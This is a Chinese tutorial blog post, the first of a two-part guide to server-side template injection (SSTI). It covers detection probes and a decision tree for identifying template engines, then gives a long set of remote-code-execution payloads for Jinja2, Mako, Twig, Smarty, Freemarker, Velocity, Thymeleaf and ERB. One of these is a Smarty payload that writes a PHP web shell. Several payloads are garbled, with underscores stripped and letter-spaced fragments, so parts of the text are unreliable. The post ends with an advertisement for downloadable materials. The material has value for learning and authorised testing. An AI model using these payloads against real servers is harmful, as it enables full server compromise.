**SSTI(服务端模板注入)**作为OWASP注入类漏洞中增长最快的攻击向量,其技术门槛相对较高,利用过程也更为复杂。早期接触时,我往往仅通过简单的{{7*7}}测试模板渲染参数,看到返回49便欣喜若狂,却对后续利用束手无策——比如Jinja2与Twig的Payload差异何在?沙箱逃逸如何实现?这些认知空白暴露了当时的知识短板。
今天系统梳理了SSTI漏洞的完整攻击面,与大家分享的同时也温故知新。内容涵盖从漏洞原理、检测方法、模板引擎识别,到基础利用链、沙箱绕过和WAF对抗等关键维度。由于内容较多,将分为上下两篇:上篇重点讲解原理与基础利用,下篇深入探讨沙箱绕过与高级实战技巧。
SSTI模板注入全解析(上):从原理到基础利用
⚠️郑重声明:以下所有技术内容仅供学习研究,所有操作必须在拥有明确授权的环境中进行。未授权的渗透测试属于违法行为。
一、SSTI是什么:当用户输入变成了代码
1.1 模板引擎与渲染机制
现代Web开发广泛采用MVC架构,其中模板引擎的主要作用是将数据模型动态注入模板文件,最终生成完整的HTML页面。其核心工作原理可概括为:
模板文件 + 数据模型 = 输出页面
模板引擎(如Jinja2、Twig、Freemarker)为增强灵活性,提供了变量渲染、条件判断、循环和函数调用等功能。这种设计本无问题,但当开发者直接将用户输入拼接到模板代码而非作为数据参数传递时,就会产生安全漏洞。
1.2 安全写法 vs 危险写法
安全写法:用户输入作为数据传递
# 模板是固定的,用户输入是数据
template = “Hello, {{ name }}!”
data = {“name”: user_input}
output = render(template, data)
即使用户输入{{7*7}},模板引擎也只会将其作为普通字符串输出,因为它是数据,不是代码。
危险写法:用户输入拼接到模板中
# 用户输入直接拼入模板字符串
template = f"Hello, {user_input}!"
output = render(template)
如果用户输入{{77}},最终模板变成Hello, {{77}}!,模板引擎会执行这个表达式,返回Hello, 49!。
这就是SSTI的本质:数据与代码的边界被混淆。
1.3 SSTI的危害等级
SSTI的危害取决于模板引擎的能力:
| 危害等级 | 表现 | 典型引擎 |
|---|---|---|
| 信息泄露 | 读取配置、环境变量 | 几乎所有引擎 |
| 文件读取 | 读取服务器任意文件 | Jinja2、Freemarker、Twig |
| 远程代码执行(RCE) | 执行系统命令,完全控制服务器 | Jinja2、Freemarker、Mako、ERB |
多数模板引擎具备文件系统访问和命令执行功能,一旦被注入,攻击者便能迅速掌控服务器。
二、SSTI检测:三步确认漏洞存在
2.1 第一步:寻找注入点
SSTI可能出现在任何用户输入被渲染的位置:
🔹 URL参数(如?name=user)
🔹 表单提交数据
🔹 HTTP头部(User-Agent、Referer、X-Forwarded-For)
🔹 JSON/XML请求体
🔹 邮件模板、PDF生成功能
2.2 第二步:数学表达式探测
向疑似注入点提交简单的数学表达式,观察返回结果:
| 探测Payload | 预期结果 | 说明 |
|---|---|---|
{{7*7}} | 49 | Jinja2/Twig/Django模板 |
${7*7} | 49 | Freemarker/Velocity/Thymeleaf |
<%= 7*7 %> | 49 | ERB/Ruby |
#{7*7} | 49 | Thymeleaf/FreeMarker |
*{7*7} | 49 | Thymeleaf |
${{7*7}} | 49 | Vue.js/Angular(注意区分CSTI) |
如果返回计算结果而非原始字符串,SSTI漏洞基本确认。
关键区分:{{7*'7'}}可以区分Jinja2和Twig:
🔹 Jinja2返回7777777(字符串乘法)
🔹 Twig返回49(数学运算)
2.3 第三步:多语言Polyglot探测
当不确定目标使用哪种模板引擎时,使用多语言Payload一次性覆盖:
${7_7}
{{7_7}}
<%= 7_7 %>
#{7*7}
_{7_7}
${{7_7}}
#{7*7}
哪个表达式被成功执行,就说明目标使用的是对应的模板引擎。
2.4 错误信息辅助判断
故意提交畸形语法触发错误信息:
{{}}
${}
<%= %>
错误信息中可能直接暴露模板引擎名称,如:
🔹TemplateSyntaxError→ Jinja2
🔹Invalid reference→ Freemarker
🔹TemplateRenderingException→ Thymeleaf
三、模板引擎识别:决策树定位
确认SSTI存在后,需要精确识别模板引擎,才能构造对应的利用Payload。以下决策树覆盖主流引擎:
输入 {{7_7}} 返回49?
├── 是 → 输入 {{7_’7’}} 返回什么?
│ ├── 7777777 → Jinja2(Python)
│ ├── 49 → Twig(PHP)
│ └── 报错 → Django模板 / Handlebars
├── 否 → 输入 ${7_7} 返回49?
│ ├── 是 → 输入 <_#if 1==1>yes</#if> 有效?*
│ │ ├── 是 → Freemarker(Java)
│ │ └── 否 → Velocity(Java) / Thymeleaf
│ ├── 否 → 输入 <%= 7*7 %> 返回49?
│ │ ├── 是 → ERB(Ruby)
│ │ └── 否 → 输入#{7*7} 返回49?
│ │ ├── 是 → Thymeleaf(Java)
│ │ └── 否 → 可能是Mako / Slim等
各引擎语法特征速查
| 引擎 | 语言 | 变量输出 | 注释 | 代码执行标记 |
|---|---|---|---|---|
| Jinja2 | Python | {{var}} | {# comment #} | {% %} |
| Twig | PHP | {{var}} | {# comment #} | {% %} |
| Freemarker | Java | ${var} | <#-- comment --> | <# %>,<@> |
| Velocity | Java | $var | ## comment | #set,#if |
| Thymeleaf | Java | [[${var}]] | <!--/ *-->*/ | th:text |
| ERB | Ruby | <%= var %> | <%# comment %> | <% %> |
| Mako | Python | ${var} | ## comment | <% %> |
| Smarty | PHP | {$var} | { *comment* } | {php}{/php} |
| EJS | JavaScript | <%= var %> | <%# comment %> | <% %> |
| Pug | JavaScript | #{var} | //- comment | - code |
四、基础利用:各引擎RCE Payload
4.1 Python / Jinja2
Jinja2是Python生态最流行的模板引擎(Flask默认使用),也是CTF和实战中最常遇到的SSTI类型。
直接利用(无沙箱):
# 读取配置信息
{{config}}
{{self.dict}}
# 直接执行命令(需要os模块在全局变量中)
{{os.popen(‘id’).read()}}
{{lipsum.globals[‘os’].popen(‘id’).read()}}
{{cycler.init.globals.os.popen(‘id’).read()}}
经典MRO链利用:
当os模块不在全局变量中时,需要通过Python的类继承链(MRO)找到可执行命令的类:
# 第一步:获取所有子类
{{‘’.class.mro[1].subclasses()}}
# 第二步:找到os._wrap_close或subprocess.Popen的索引
# 遍历子类列表,找到目标类的索引号
# 第三步:通过索引调用执行命令
{{‘’.class.mro[1].subclasses()[132].init.globals’popen’.read()}}
Jinja2常用RCE Payload汇总:
# 方式1:通过lipsum全局变量
{{lipsum.globals[‘os’].popen(‘id’).read()}}
# 方式2:通过cycler对象
{{cycler.init.globals.os.popen(‘id’).read()}}
# 方式3:通过joiner对象
{{joiner.init.globals.os.popen(‘id’).read()}}
# 方式4:通过namespace对象
{{namespace.init.globals.os.popen(‘id’).read()}}
# 方式5:通过request对象
{{request.application.globals.builtins.import(‘os’).popen(‘id’).read()}}
# 方式6:通过url_for全局函数
{{url_for.globals[‘os’].popen(‘id’).read()}}
# 方式7:通过get_flashed_messages
{{get_flashed_messages.globals[‘os’].popen(‘id’).read()}}
4.2 Python / Mako
Mako是另一个Python模板引擎,以性能著称,Pyramid框架默认使用。
# 直接访问os模块
${self.module.cache.util.os.system(“id”)}
# 通过__init__.__globals__访问
${self.init.globals[‘util’].os.system(‘id’)}
# 通过template属性访问
${self.template.init.globals[‘os’].system(‘id’)}
# 利用__builtins__
${import(‘os’).popen(‘id’).read()}
4.3 Python / Tornado
Tornado框架自带模板引擎,语法类似Jinja2但更简洁:
# 直接导入os模块执行命令
{% import os %}
{{os.popen(‘id’).read()}}
# 通过application对象
{{handler.application.settings}}
# 通过request对象
{{handler.request.remote_ip}}
4.4 PHP / Twig
Twig是Symfony框架的默认模板引擎,PHP生态中最流行的模板引擎之一。
# Twig 1.x(支持{{_self}})
{{_self.env.registerUndefinedFilterCallback(“exec”)}}
{{_self.env.getFilter(“id”)}}
# Twig 2.x/3.x
{{[‘id’]|filter(‘system’)}}
# 利用map过滤器
{{[“id”]|map(“system”)|join(“,”)}}
# 利用sort过滤器
{{[“id”]|sort(“system”)|join(“,”)}}
# 利用reduce过滤器
{{[0,0]|reduce(“system”,“id”)|join(“,”)}}
4.5 PHP / Smarty
Smarty是另一个老牌PHP模板引擎,支持直接执行PHP代码(旧版本):
# 直接执行PHP代码(Smarty 3.1.39之前)
{php}system(‘id’);{/php}
# 利用Smarty内置函数
{Smarty_Internal_Write_File::writeFile( S C R I P T N A M E , " < ? p h p p a s s t h r u ( SCRIPT_NAME,“<?php passthru( SCRIPTNAME,"<?phppassthru(\_GET\[‘cmd’\]); ?>”,self::clearConfig())}
# 通过{if}标签执行
{if phpinfo()}{/if}
{if system(‘id’)}{/if}
# 通过fetch/display函数
{fetch file=“id” assign=“x”}
{$x}
4.6 Java / Freemarker
Freemarker是Java企业级应用中最常用的模板引擎,Spring MVC项目广泛使用。
<#-- 方式1:通过Execute类直接执行命令(Freemarker < 2.3.30) -->
<#assign ex=“freemarker.template.utility.Execute”?new()>
${ex(“id”)}
<#-- 方式2:通过ObjectWrapper访问Runtime -->
<#assign value=“freemarker.template.utility.ObjectConstructor”?new()>
${value(“java.lang.ProcessBuilder”,“id”).start()}
<#-- 方式3:通过JythonRuntime -->
<#assign value=“freemarker.template.utility.JythonRuntime”?new()>
<@value>import os;os.system(“id”)/@value
踩坑经验:Freemarker ≥ 2.3.30 版本默认禁止加载Execute、ObjectConstructor、JythonRuntime这三个危险类。此时需要通过Class.forName绕过:
```freemarker
<#-- 高版本绕过:通过Class.forName反射加载 -->
${Class.forName(“java.lang.ProcessBuilder”,true,Thread.currentThread().getContextClassLoader()).newInstance([“/bin/bash”,“-c”,“id”]).start()}
```
4.7 Java / Velocity
Velocity是Apache基金会的Java模板引擎,常见于老旧企业系统:
## 方式1:通过Runtime执行命令
$!{Runtime.getRuntime().exec(“id”)}
## 方式2:通过ProcessBuilder
#set($e=“e”)
$e.getClass().forName(“java.lang.Runtime”).getRuntime().exec(“id”)
## 方式3:通过Class.forName
#set( x = " " ) # s e t ( x=“”) \#set( x=“”)#set(rt= x . c l a s s . f o r N a m e ( " j a v a . l a n g . R u n t i m e " ) ) # s e t ( x.class.forName(“java.lang.Runtime”)) \#set( x.class.forName(“java.lang.Runtime”))#set(chr= x . c l a s s . f o r N a m e ( " j a v a . l a n g . C h a r a c t e r " ) ) # s e t ( x.class.forName(“java.lang.Character”)) \#set( x.class.forName(“java.lang.Character”))#set(str= x . c l a s s . f o r N a m e ( " j a v a . l a n g . S t r i n g " ) ) # s e t ( x.class.forName(“java.lang.String”)) \#set( x.class.forName(“java.lang.String”))#set(ex=$rt.getRuntime().exec(“id”))
4.8 Java / Thymeleaf
Thymeleaf是Spring Boot的默认模板引擎,SSTI利用相对困难,但仍有攻击路径:
// 方式1:SpringEL表达式(预处理阶段)
${T(java.lang.Runtime).getRuntime().exec(‘id’)}::.x
// 方式2:OGNL表达式
[[${T(java.lang.Runtime).getRuntime().exec(‘id’)}]]
// 方式3:通过SpEL创建ProcessBuilder
[[${new java.lang.ProcessBuilder({‘id’}).start()}]]
注意:Thymeleaf默认不允许动态生成模板,SSTI漏洞通常只出现在开发者手动调用templateEngine.process()并拼接用户输入的场景。
4.9 Ruby / ERB
ERB是Ruby on Rails的默认模板引擎:
<%= system(‘id’) %>
<%=id%>
<%= exec(‘id’) %>
<%= IO.popen(‘id’).readlines() %>
<%= require ‘open3’; Open3.capture2(‘id’) %>
4.10 Go / text.template
Go的text/template引擎设计上不支持函数调用和代码执行,SSTI危害较低,但可以泄露数据:
{{.}}
{{.Field}}
Go的html/template自动转义,基本无法利用。但如果开发者使用了text/template处理HTML,仍可能存在信息泄露。
如何系统学习网络安全/黑客?
网络安全不是「速成黑客」,而是守护数字世界的骑士修行。当你第一次用自己写的脚本检测出漏洞时,那种创造的快乐远胜于电影里的炫技。装上虚拟机,从配置第一个Linux环境开始,脚踏实地从基础命令学起,相信你一定能成为一名合格的黑客。
如果你还不知道从何开始,我自己整理的282G的网络安全教程可以分享,我也是一路自学走过来的,很清楚小白前期学习的痛楚,你要是没有方向还没有好的资源,根本学不到东西!
下面是我整理的网安资源,希望能帮到你。
😝需要的话,可以V扫描下方二维码联系领取~
如果二维码失效,可以点击下方👇链接去拿,一样的哦
【CSDN大礼包】最新网络安全/网安技术资料包~282G!无偿分享!!!
1.从0到进阶主流攻防技术视频教程(包含红蓝对抗、CTF、HW等技术点)
2.入门必看攻防技术书籍pdf(书面上的技术书籍确实太多了,这些是我精选出来的,还有很多不在图里)
3.安装包/源码
主要攻防会涉及到的工具安装包和项目源码(防止你看到这连基础的工具都还没有)
4.面试试题/经验
网络安全岗位面试经验总结(谁学技术不是为了赚$呢,找个好的岗位很重要)
😝需要的话,可以V扫描下方二维码联系领取~
因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆
如果二维码失效,可以点击下方👇链接去拿,一样的哦
【CSDN大礼包】最新网络安全/网安技术资料包~282G!无偿分享!!!